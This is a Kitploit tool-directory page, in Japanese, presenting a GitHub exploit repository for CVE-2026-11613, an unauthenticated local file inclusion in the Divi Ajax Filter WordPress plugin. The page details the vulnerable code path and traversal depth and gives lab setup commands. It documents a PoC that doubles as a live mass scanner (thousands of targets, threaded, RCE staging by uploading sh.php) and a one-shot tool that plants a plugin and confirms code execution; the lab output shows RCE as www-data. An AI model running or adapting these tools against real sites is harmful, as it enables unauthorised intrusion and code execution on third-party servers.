Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-11613 — Divi Ajax Filter <= 5.1.2 'custom_loop_template' による未認証のローカルファイルインクルージョン | Kitploit
ツール/GitHubGitHub/wayang1337/cve-2026-11613
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテストラボと実践
GitHubwayang1337/cve-2026-11613

CVE-2026-11613

Divi Ajax Filter <= 5.1.2 'custom_loop_template' による未認証のローカルファイルインクルージョン

リポジトリを見る
6時間11分前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-11613 — Divi Ajax Filter <= 5.1.2 — 未認証LFI -> RCE

プラグインDivi Ajax Filter(Divi Engine、プレミアム版 — wordpress.org SVN には非掲載)
影響を受けるバージョンすべてのバージョン <= 5.1.2(ラボではミラーから 3.1.8.4 を使用)
パッチ適用済み5.1.3(2026年8月11日)
タイプCWE-98 — PHP ローカルファイルインクルージョン、未認証
CVSS9.8 Critical(AV:N/AC:L/PR:N/UI:N)
アドバイザリWordfence(発見者: h0xilo)、2026年9月4日公開
コードソース公開ミラー: github.com/albertoformi/fr9z3i4pwxt3qx(WP サイト + プラグインは includes/modules/divi-ajax-filter/ 内)

技術分析(ミラー v3.1.8.4 のコードより)

  1. 公開 nonce — includes/modules/FilterPosts/FilterPosts.php:1759 が wp_create_nonce('filter_object') を生成し、wp_localize_script (filter_ajax_object.security)経由で、すべての訪問者 (wp_enqueue_scripts)にエンキューされるスクリプトへ付与する。Nonce は障壁にならない: すべての訪問者がそのコピーを持っている。
  2. 未認証エントリポイント — filter_ajax.php:3406-3407 と loadmore_ajax.php:569-570 が wp_ajax_nopriv_*(ログインなし)でハンドラを登録する。
  3. サニタイズなしの入力 — filter_ajax.php:114-133(loadmore: 73-91): $loop_var = json_decode(sanitize_text_field($_POST['loop_var']))、その後 $custom_loop_template = $loop_var['custom_loop_template'] をそのまま使用 — basename() なし、ホワイトリストなし、realpath チェックなし。
  4. シンク — filter_ajax.php:2871-2873(loadmore: 344-346):
    root@kitploit:~
    if ($loop_templates == 'custom-template') {
        if (file_exists(get_stylesheet_directory() . '/divi-ajax-filter/loop-templates/' . $custom_loop_template)) {
            include(get_stylesheet_directory() . '/divi-ajax-filter/loop-templates/' . $custom_loop_template);
    
    条件: リクエストは非 WooCommerce ブランチに入る必要がある(JSON query の $posttype は自由、許可リストなし)、かつクエリは 1 件以上の投稿を返す必要がある。
  5. トラバーサル深度 — ベースディレクトリ = <webroot>/wp-content/themes/<theme>/divi-ajax-filter/loop-templates/ → webroot に戻るには ../../../../../(5回)が必要。重要: file_exists()/include() はパスプレフィックスコンポーネントが存在しない場合、静かに失敗する — テーマ内の divi-ajax-filter/loop-templates/ ディレクトリが存在する必要がある(これは プラグインが文書化しているカスタムテンプレート構造なので、この機能を使うサイトでは一般的に存在する; そのディレクトリがなければトラバーサルは事実上ブロックされる)。
  6. RCE — 攻撃者がサーバーに .php を置ける場合(author 権限を持つユーザーアップロード、 緩いアップロード設定、他のプラグイン)、アップロードファイルのインクルード = コード実行。

ディレクトリ構造

root@kitploit:~
cve-2026-11613/
├── poc_http.py                  # PoC + ライブ大規模スキャナー(単一ファイル)
├── divi-ajax-filter-3.1.8.4.zip # インストール可能なプラグイン(WP 管理画面 / プラグイン > 新規追加 からアップロード)
├── README.md
├── mirror-site/                 # github albertoformi/fr9z3i4pwxt3qx のクローン
│   └── includes/modules/divi-ajax-filter/   # プラグイン v3.1.8.4(影響を受けるバージョン)
└── lab/
    ├── docker-compose.yml       # WP 6.5 + MariaDB、ポート 8099
    ├── setup.sh                 # プラグインのコピー + compose up
    ├── install_wp.sh            # WP のインストール + 検証
    └── wp-content/
        ├── mu-plugins/
        │   ├── zz-divi-shim.php        # DiviExtension/ET_Builder_* のシム(ラボ専用)
        │   └── zz-activate-daf.php     # プラグインの自動有効化
        ├── plugins/divi-ajax-filter/   # 脆弱なプラグイン(コンテナにマウント)
        └── uploads/poc-rce.php         # シミュレートされた「アップロード」ペイロード(最後に exit)

ラボの実行

root@kitploit:~
bash lab/setup.sh        # プラグインのコピー + docker compose up(ポート 8099)
bash lab/install_wp.sh   # WP のインストール(admin / LabPass!2026)
# トラバーサルに必要なテーマ構造を追加:
docker exec lab-wp-1 mkdir -p /var/www/html/wp-content/themes/twentytwentyfour/divi-ajax-filter/loop-templates
# サンプル投稿を2件作成(一度だけ):
docker run --rm --volumes-from lab-wp-1 --network lab_default \
  -e WORDPRESS_DB_HOST=db -e WORDPRESS_DB_USER=wordpress \
  -e WORDPRESS_DB_PASSWORD=wordpress -e WORDPRESS_DB_NAME=wordpress \
  wordpress:cli wp post create --post_title="Lab Post 1" --post_status=publish

PoC / ライブスキャナー(モードなし — すべてのターゲットはライブとして扱われる)

root@kitploit:~
python poc_http.py target.com                       # 自動で http:// を付与
python poc_http.py https://target.com domain2.com   # 複数ターゲット
python poc_http.py --list targets.txt --threads 30  # 5000+ の大規模スキャン
python poc_http.py --list targets.txt --fast        # 軽量スイープ 2 req/ターゲット
python poc_http.py target.com --upload-name sh.php --upload-marker MYPWNED  # RCE ステージング
  • スキームなしのドメインは自動的に http:// になる; 自動重複排除; 結果は 即座に results_cve-2026-11613.csv へインクリメンタル書き込み(Ctrl-C 安全、部分結果は保存済み)。
  • ターゲットごとのステータス: VULN: LFI / VULN: LFI+RCE(緑)、not-confirmed(黄)、 NO-NONCE / NO-PLUGIN(シアン)、UNREACHABLE / ERROR(赤)。
  • --no-color / 環境変数 NO_COLOR でプレーン出力; パイプ時は自動的に色が無効化。
  • 終了コード: 0 = 脆弱なターゲットあり、1 = なし、130 = 中断。

WayangXploit — ワンショット(canary 埋め込み + RCE 自動検証)

root@kitploit:~
python wayang.py <site> <wp-user> <wp-pass>

単一コマンド: ログイン → canary WayangXploit を埋め込む(非アクティブな小さなプラグイン、 PoC 専用: marker+uid+uname を出力して exit、webshell ではなく、cmd パラメータなし) → 検証 → 未認証 LFI スイープ → RCE 判定。自動: https アップグレード、 SSL バイパス、リダイレクト保持 POST。クリーンアップ: テスト後に wp-admin で 「WayangXploit Canary」+「Divi Compat Shim」プラグインを削除。

poc_http.py は現在デフォルトで --upload-marker WayangXploit-RCE-CONFIRMED (つまり --upload-rel / --upload-name だけで十分)。

ラボ検証結果(実際の HTTP レスポンスより)

root@kitploit:~
[+] LFI: action=divi_filter_ajax_handler depth=5: included xmlrpc.php EXECUTED (marker 'methodResponse')
[+] RCE: action=divi_filter_ajax_handler depth=5: included wp-content/uploads/poc-rce.php EXECUTED
VERDICT: VULNERABLE - RCE confirmed
evidence: CVE-2026-11613-RCE-CONFIRMED | uid=33 user=www-data | uname=Linux ... 6.18.33.2-microsoft-standard-WSL2

ライブターゲットでの悪用可能性の条件(live_scan.py がチェックするもの):

  1. Divi Ajax Filter プラグイン <= 5.1.2 が有効(偵察: プラグインのメインファイルへ直接アクセス)。
  2. filter_object nonce が公開ページで露出している(モジュールスクリプトがエンキューされている)。
  3. <theme>/divi-ajax-filter/loop-templates/ が存在する(プレフィックス付きトラバーサルに必要)。
  4. RCE の場合: 攻撃者が到達可能な .php ファイルが存在する(例: アップロード結果)— LFI のみでも影響あり(任意の .php ファイルに対する情報開示 / 認証バイパス)。
ツールをダウンロード